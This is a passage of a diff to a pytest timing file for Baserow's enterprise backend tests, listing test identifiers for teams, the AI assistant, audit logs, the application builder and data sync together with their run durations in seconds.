"baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_deleting_team": 0.16211974900215864, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_deleting_team_subject": 0.20529545802855864, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_redo_updating_team": 0.18995291597093455, + "baserow_enterprise_tests/api/teams/test_teams_actions.py::test_can_undo_updating_team": 0.15716758198686875, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_create_team": 0.14230295800371096, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_create_team_subject_by_email": 0.14084925199858844, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_create_team_subject_by_id": 0.13882045799982734, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_delete_team": 0.1378532500239089, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_delete_team_not_as_workspace_member": 0.11582487501436844, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_delete_team_subject": 0.20683637401089072, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_list_search_teams": 0.13309662498068064, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_list_team_subjects": 0.2699633329757489, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_list_teams": 0.13005150097887963, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_patch_team_subject": 0.1810165409988258, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_put_team": 0.14583629099070095, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_put_team_not_as_workspace_member": 0.11951691698050126, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_read_team": 0.1256478740251623, + "baserow_enterprise_tests/api/teams/test_teams_views.py::test_read_team_subject": 0.21578391498769633, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCallbacks::test_extend_sources_deduplicates": 0.016254833986749873, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCallbacks::test_extend_sources_preserves_order": 0.002034832985373214, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCallbacks::test_on_tool_end_extracts_sources_from_outputs": 0.0023718340089544654, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCallbacks::test_on_tool_end_handles_missing_sources": 0.002515000000130385, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCancellation::test_astream_messages_checks_cancellation_periodically": 0.09280116599984467, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCancellation::test_astream_messages_yields_ai_started_message": 0.09121162400697358, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCancellation::test_check_cancellation_does_nothing_when_no_flag": 0.08541420800611377, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCancellation::test_check_cancellation_raises_when_flag_set": 0.08644129199092276, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantCancellation::test_get_cancellation_cache_key": 0.0979071670153644, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantChatHistory::test_aload_chat_history_formats_as_question_answer_pairs": 0.09168091704486869, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantChatHistory::test_aload_chat_history_handles_incomplete_pairs": 0.0890796669991687, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantChatHistory::test_aload_chat_history_respects_limit": 0.09964750101789832, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantChatHistory::test_history_is_passed_to_astream_as_context": 0.2228104579844512, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantChatHistory::test_list_chat_messages_returns_in_chronological_order": 0.1055609579780139, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantMessagePersistence::test_astream_messages_persists_ai_message_with_sources": 0.09938724900712259, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantMessagePersistence::test_astream_messages_persists_chat_title": 0.09703620700747706, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantMessagePersistence::test_astream_messages_persists_human_message": 0.11118404200533405, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantStreaming::test_astream_messages_yields_answer_chunks": 0.10719737398903817, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantStreaming::test_astream_messages_yields_thinking_messages": 0.096048665989656, + "baserow_enterprise_tests/assistant/test_assistant.py::TestAssistantStreaming::test_astream_messages_yields_title_chunks": 0.09610395799973048, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_human_message_ui_context_json_serialization": 0.003285001002950594, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_human_message_with_ui_context": 0.002836625004420057, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_ui_context_from_validate_request_adds_user_info": 0.08985708400723524, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_ui_context_has_default_timestamp": 0.002951333997771144, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_ui_context_has_default_timezone": 0.0024512910458724946, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_ui_context_json_serialization_excludes_none": 0.0022253760253079236, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_ui_context_serialization_excludes_none_values": 0.002653792005730793, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_ui_context_with_application_builder_fields": 0.0018904160242527723, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_ui_context_with_database_builder_fields": 0.0020451660093385726, + "baserow_enterprise_tests/assistant/test_assistant.py::TestUIContext::test_user_ui_context_from_user": 0.07321929198224097, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_check_formula_with_basic_formulas": 0.01376420899759978, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_create_multiple_workflows": 0.4108129590167664, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_create_row_action_with_field_ids": 0.3963678339787293, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_create_workflow_with_row_triggers_and_actions[trigger0-action0]": 0.4022490839997772, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_create_workflow_with_row_triggers_and_actions[trigger1-action1]": 0.38667791601619683, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_create_workflow_with_row_triggers_and_actions[trigger2-action2]": 0.3918122490285896, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_create_workflows": 0.3987945409899112, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_delete_row_action_with_row_id": 0.7355380830413196, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_list_workflows": 0.11996645800536498, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_list_workflows_multiple": 0.12527433299692348, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_router_node_with_required_conditions": 0.4364243750460446, + "baserow_enterprise_tests/assistant/test_assistant_automation_workflow_tools.py::test_update_row_action_with_row_id_and_field_ids": 0.40108383301412687, + "baserow_enterprise_tests/assistant/test_assistant_database_rows_tools.py::test_create_rows": 0.868508542975178, + "baserow_enterprise_tests/assistant/test_assistant_database_rows_tools.py::test_delete_rows": 0.7960875419958029, + "baserow_enterprise_tests/assistant/test_assistant_database_rows_tools.py::test_list_rows": 0.6101544999692123, + "baserow_enterprise_tests/assistant/test_assistant_database_rows_tools.py::test_update_rows": 1.027720167010557, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_create_complex_table_tool": 0.5634538329904899, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_create_simple_table_tool": 0.17075729198404588, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_generate_database_formula_create_new_field": 0.14436591599951498, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_generate_database_formula_documentation_completeness": 0.12315833300817758, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_generate_database_formula_invalid_formula": 0.12147254098090343, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_generate_database_formula_no_save": 0.12323641698458232, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_generate_database_formula_replace_non_formula_field": 0.1854637090000324, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_generate_database_formula_update_existing_formula_field": 0.1643348759971559, + "baserow_enterprise_tests/assistant/test_assistant_database_table_tools.py::test_list_tables_tool": 0.14920904199243523, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_all_boolean_filters_conversion": 0.12757074998808093, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_all_date_filters_conversion": 0.153604584018467, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_all_link_row_filters_conversion": 9.529199451208115e-05, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_all_multiple_select_filters_conversion": 0.13723766698967665, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_all_number_filters_conversion": 0.16324983301456086, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_all_single_select_filters_conversion": 0.134862748964224, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_all_text_filters_conversion": 0.15420837499550544, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_comprehensive_all_filter_types_conversion": 0.4203145839564968, + "baserow_enterprise_tests/assistant/test_assistant_database_view_filters_tools.py::test_filter_class_discovery": 0.013096623035380617, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_boolean_is_false_filter": 0.15469533400028013, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_boolean_is_true_filter": 0.14675254203029908, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_calendar_view": 0.16130904201418161, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_date_after_filter": 0.14652895796461962, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_date_before_filter": 0.13950150000164285, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_date_equal_filter": 0.15135149902198464, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_date_not_equal_filter": 0.14421845800825395, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_form_view": 0.15793383397976868, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_gallery_view": 0.15626766701461747, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_grid_view": 0.14247662495472468, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_kanban_view": 0.160742666979786, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_multiple_select_is_any_of_filter": 0.16264512497582473, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_multiple_select_is_none_of_filter": 0.15650254100910388, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_number_equal_filter": 0.1399314579903148, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_number_higher_than_filter": 0.14979933301219717, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_number_lower_than_filter": 0.1441432489955332, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_number_not_equal_filter": 0.14819358300883323, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_single_select_is_any_of_filter": 0.15169995903852396, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_single_select_is_none_of_filter": 0.14820416702423245, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_text_contains_filter": 0.14156104199355468, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_text_equal_filter": 0.14458179200300947, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_text_not_contains_filter": 0.14171966596040875, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_text_not_equal_filter": 0.47917225104174577, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_create_timeline_view": 0.1555382080259733, + "baserow_enterprise_tests/assistant/test_assistant_database_views_tools.py::test_list_views_tool": 0.13078812396270223, + "baserow_enterprise_tests/assistant/test_assistant_handler.py::test_delete_predictions_custom_days_threshold": 0.09458583398372866, + "baserow_enterprise_tests/assistant/test_assistant_handler.py::test_delete_predictions_empty_database": 0.01677825002116151, + "baserow_enterprise_tests/assistant/test_assistant_handler.py::test_delete_predictions_excludes_rated_by_default": 0.090626292017987, + "baserow_enterprise_tests/assistant/test_assistant_handler.py::test_delete_predictions_handles_mixed_scenarios": 0.10296954200020991, + "baserow_enterprise_tests/assistant/test_assistant_handler.py::test_delete_predictions_includes_rated_when_specified": 0.09404020998044871, + "baserow_enterprise_tests/assistant/test_assistant_handler.py::test_delete_predictions_preserves_recent_predictions": 0.09490924997953698, + "baserow_enterprise_tests/assistant/test_assistant_handler.py::test_delete_predictions_removes_old_unrated_predictions": 0.09483091699075885, + "baserow_enterprise_tests/assistant/test_assistant_handler.py::test_delete_predictions_return_count_matches_deleted": 0.10492854099720716, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestBaserowEmbedder::test_pads_smaller_dimensions_with_zeros": 0.002389583009062335, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestBaserowEmbedder::test_raises_error_on_larger_dimensions": 0.002237501001218334, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestBaserowEmbedder::test_returns_embeddings_with_correct_dimensions": 0.002885958005208522, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestBaserowEmbedder::test_returns_empty_list_for_empty_input": 0.002048582013230771, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestBaserowEmbedder::test_returns_list_of_vectors": 0.016324123978847638, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_complex_category_hierarchy_load": 0.011547332018380985, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_handler_with_default_vector_store": 0.0029298330191522837, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_load_categories_creates_hierarchy": 0.006092666008044034, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_load_categories_handles_empty_data": 0.0026377489557489753, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_load_categories_handles_missing_parent": 0.0047355420247185975, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_load_categories_order_independence": 0.007794334000209346, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_load_categories_updates_existing": 0.005782583961263299, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_retrieve_knowledge_chunks_empty_store": 0.017757916008122265, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_retrieve_knowledge_chunks_respects_num_results": 0.019073166971793398, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_retrieve_knowledge_chunks_with_data": 0.012768208980560303, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_search_l2_distance_with_different_vectors": 0.006681291997665539, + "baserow_enterprise_tests/assistant/test_assistant_knowledge_retrieval_handler.py::TestKnowledgeHandler::test_search_orders_by_l2_distance": 0.009085875004529953, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_creates_documents_chunks_and_splits_faq": 0.24400370797957294, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_deletes_docs_missing_from_csv_within_same_type": 0.17403633301728405, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_dev_docs_creates_documents_and_chunks": 0.025314792030258104, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_dev_docs_deletes_docs_when_file_removed": 0.026175000006332994, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_dev_docs_no_reembedding_when_body_unchanged": 0.023523459007265046, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_dev_docs_reembeds_on_body_change": 0.026744541013613343, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_knowledge_base_with_real_file": 0.5945564589928836, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_links_existing_categories": 0.16309404096682556, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_no_reembedding_when_body_unchanged": 0.16407429199898615, + "baserow_enterprise_tests/assistant/test_sync_knowledge_base.py::test_sync_reembeds_on_body_change": 0.16718062601285055, + "baserow_enterprise_tests/assistant/test_telemetry.py::TestPosthogTracingCallback::test_on_lm_start": 0.08177108303061686, + "baserow_enterprise_tests/assistant/test_telemetry.py::TestPosthogTracingCallback::test_on_module_end_with_exception": 0.08048970901290886, + "baserow_enterprise_tests/assistant/test_telemetry.py::TestPosthogTracingCallback::test_on_module_start_end": 0.08243641597800888, + "baserow_enterprise_tests/assistant/test_telemetry.py::TestPosthogTracingCallback::test_on_tool_end_with_exception": 0.0824822920258157, + "baserow_enterprise_tests/assistant/test_telemetry.py::TestPosthogTracingCallback::test_on_tool_start_end": 0.07776620896765962, + "baserow_enterprise_tests/assistant/test_telemetry.py::TestPosthogTracingCallback::test_trace_context_manager_exception": 0.0862507919955533, + "baserow_enterprise_tests/assistant/test_telemetry.py::TestPosthogTracingCallback::test_trace_context_manager_success": 0.09610979305580258, + "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_csv_correctly": 0.21128275003866293, + "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_csv_in_the_user_language": 0.00010775000555440784, + "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_filters_work_correctly": 0.1906337920227088, + "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_workspace_csv_correctly": 0.20143454099888913, + "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_audit_log_export_workspace_csv_correctly_if_feature_is_enable_for_the_user": 0.22091083199484274, + "baserow_enterprise_tests/audit_log/test_audit_log_export_job.py::test_deleting_audit_log_export_job_also_delete_exported_file": 0.11579262398299761, + "baserow_enterprise_tests/audit_log/test_audit_log_handler.py::test_actions_are_inserted_as_audit_log_entries_and_can_be_deleted_even_without_license": 0.1662508750159759, + "baserow_enterprise_tests/audit_log/test_audit_log_handler.py::test_audit_log_handler_add_entries_for_undone_redone_actions": 0.17381516701425426, + "baserow_enterprise_tests/audit_log/test_audit_log_handler.py::test_audit_log_handler_can_clear_entries_older_than": 0.1676191670121625, + "baserow_enterprise_tests/builder/custom_code/test_enterprise_application_views.py::test_create_enterprise_builder_application": 0.17596587500884198, + "baserow_enterprise_tests/builder/custom_code/test_enterprise_application_views.py::test_create_enterprise_builder_application_no_licence": 0.14858862399705686, + "baserow_enterprise_tests/builder/custom_code/test_enterprise_application_views.py::test_get_enterprise_builder_application": 0.1549885840213392, + "baserow_enterprise_tests/builder/custom_code/test_enterprise_application_views.py::test_get_enterprise_builder_custom_code_preview": 0.14162354299332947, + "baserow_enterprise_tests/builder/custom_code/test_enterprise_application_views.py::test_get_enterprise_builder_custom_code_preview_no_user": 0.03186466605984606, + "baserow_enterprise_tests/builder/custom_code/test_enterprise_application_views.py::test_get_enterprise_builder_custom_code_public": 0.16684458297095262, + "baserow_enterprise_tests/builder/custom_code/test_enterprise_application_views.py::test_get_enterprise_builder_custom_code_public_no_licence": 0.15180233400315046, + "baserow_enterprise_tests/builder/custom_code/test_enterprise_application_views.py::test_get_enterprise_builder_custom_code_public_unpublished": 0.03920199899584986, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_auth_form_element_import_export_data_source": 0.19195345899788663, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_create_auth_form_with_user_source": 0.10799212596612051, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_create_auth_form_with_user_source_another_app": 0.11662083398550749, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_dispatch_local_baserow_update_row_workflow_action_with_file": 0.3539640830422286, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid": 0.01769387599779293, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid_invalid_filetype[allowed0-TypeError]": 0.01802295894594863, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid_invalid_filetype[allowed1-None]": 0.019161417003488168, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid_invalid_filetype[allowed2-TypeError]": 0.017860457999631763, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid_invalid_filetype[allowed3-None]": 0.0180282510118559, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid_invalid_filetype[allowed4-None]": 0.015316998993512243, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid_invalid_filetype[allowed5-TypeError]": 0.01631425102823414, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid_invalid_filetype[allowed6-None]": 0.024096625013044104, + "baserow_enterprise_tests/builder/elements/test_element_types.py::test_file_input_element_is_valid_invalid_size": 0.01634408300742507, "baserow_enterprise_tests/compat/api/teams/test_group_teams_views.py::test_create_team": 0.26818941600049584, "baserow_enterprise_tests/compat/api/teams/test_group_teams_views.py::test_list_search_teams": 0.263766458999271, "baserow_enterprise_tests/compat/api/teams/test_group_teams_views.py::test_list_teams": 0.26222054099980596, "baserow_enterprise_tests/compat/api/teams/test_group_teams_views.py::test_read_team": 0.2801367499996559, - "baserow_enterprise_tests/enterprise/test_enterprise_installed.py::test_enterprise_app_installed": 0.011631666999164736, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_anonymous_user_data_enables_enterprise_features_instance_wide": 0.2566212510000696, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_anonymous_user_data_has_no_enterprise_license_when_not_active": 0.2782199590001255, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_can_query_for_summary_per_workspace": 0.5365710819996821, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_can_restore_a_workspace_with_rbac_enabled": 0.26570374999937485, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_cant_manually_add_all_users_to_seats_in_enterprise_version": 0.3847395420016255, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_cant_manually_add_seats_to_enterprise_version": 0.384114249999584, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_cant_manually_remove_all_users_from_seats_in_enterprise_version": 0.3770561669998642, - "baserow_enterprise_tests/enterprise/test_enterprise_license.py::test_cant_manually_remove_seats_from_enterprise_version": 0.38177745699977095, + "baserow_enterprise_tests/data_sync/test_data_sync_ai_field.py::test_sync_table_with_ai_field": 0.2556862490309868, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_call_daily_periodic_data_sync_syncs": 0.25954987498698756, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_call_hourly_periodic_data_sync_syncs": 0.24256779096322134, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_call_periodic_data_sync_syncs_starts_task": 0.39596658301888965, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_create_and_set_two_way_data_sync_table": 0.4216901260369923, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_create_and_unset_two_way_data_sync_table": 0.40391904197167605, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_create_two_way_data_sync_table": 0.3735350829665549, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_create_two_way_data_sync_table_and_add_properties": 0.4249055420223158, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_periodic_sync_disabled_on_license_loss_sends_notification": 0.3861175419879146, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_periodic_sync_failure_deactivation_shows_failure_message": 0.14275862503563985, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_skip_automatically_deactivated_periodic_data_syncs": 0.14055079297395423, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_skip_locked_data_syncs": 0.41735670901834965, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_skip_syncing_data_syncs": 0.3876748750335537, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_sync_periodic_data_sync": 0.14895720800268464, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_sync_periodic_data_sync_already_syncing": 0.1356422079843469, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_sync_periodic_data_sync_authorized_user_is_none": 0.15040491599938832, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_sync_periodic_data_sync_consecutive_failed_count_increases": 0.14903937501367182, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_sync_periodic_data_sync_consecutive_failed_count_reset": 0.1548323740134947, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_sync_periodic_data_sync_deactivated": 0.12360529197030701, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_sync_periodic_data_sync_deactivated_max_failure": 0.15958341700024903, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_sync_periodic_data_sync_deactivated_max_failure_notification_send": 0.41591445900849067, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_update_periodic_data_sync_interval_check_permissions": 0.12922683398937806, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_update_periodic_data_sync_interval_create": 0.13412274900474586, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_update_periodic_data_sync_interval_licence_check": 0.11697891700896434, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_update_periodic_data_sync_interval_update": 0.12031274900073186, + "baserow_enterprise_tests/data_sync/test_enterprise_data_sync_handler.py::test_update_periodic_data_sync_interval_update_automatically_disabled": 0.12747766697430052, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_async_sync_data_sync_table_without_license": 0.39525070899981074, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_create_data_sync_table": 0.18813020800007507, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_create_data_sync_table_invalid_auth": 0.14996700000483543, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_create_data_sync_table_pagination": 0.21514891597325914, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_create_data_sync_without_license": 0.1039596670307219, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_get_data_sync": 0.1584042509784922, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_get_data_sync_properties": 0.09244904195657, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_sync_data_sync_table": 0.22899366696947254, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_sync_data_sync_table_empty_issue": 0.26172275000135414, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_sync_data_sync_table_is_equal": 0.26222287499695085, + "baserow_enterprise_tests/data_sync/test_github_issues_data_sync.py::test_sync_data_sync_table_without_license": 0.14397425000788644, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_async_sync_data_sync_table_without_license": 0.4121218329819385, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_create_data_sync_table": 0.21090512399678119, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_create_data_sync_table_invalid_auth": 0.14859074997366406, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_create_data_sync_table_pagination": 0.27092320899828337, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_create_data_sync_without_license": 0.10388799899374135, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_get_data_sync": 0.15874041704228148, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_get_data_sync_properties": 0.0969927080150228, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_sync_data_sync_table": 0.2529726239736192, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_sync_data_sync_table_empty_issue": 0.2634134990221355, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_sync_data_sync_table_is_equal": 0.2702836240059696, + "baserow_enterprise_tests/data_sync/test_gitlab_issues_data_sync.py::test_sync_data_sync_table_without_license": 0.14831045802566223, + "baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_async_sync_data_sync_table_without_license": 0.3915470829815604, + "baserow_enterprise_tests/data_sync/test_hubspot_contacts_data_sync.py::test_create_data_sync_table": 0.15185691599617712, + 